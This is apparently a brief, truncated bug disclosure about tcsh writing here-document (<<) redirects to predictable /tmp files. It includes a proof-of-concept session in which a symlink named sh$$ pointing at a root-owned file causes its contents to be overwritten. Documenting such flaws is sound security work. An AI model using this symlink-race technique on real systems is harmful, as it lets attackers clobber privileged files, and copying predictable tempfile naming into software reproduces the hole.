tcsh: unsafe tempfile in << redirects

PROBLEM: /tmp echo 'hello world' rootfile /tmp chmod 600 rootfile /tmp ln -s rootfile sh$$ /tmp chown -h 666.666 sh$$ /tmp ls -l rootfile sh$$ -rw------- 1 root root 12 Oct 29 03:55 rootfile lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 - rootfile /tmp cat BAR ? FOO ? BAR FOO o world /tmp ls -l...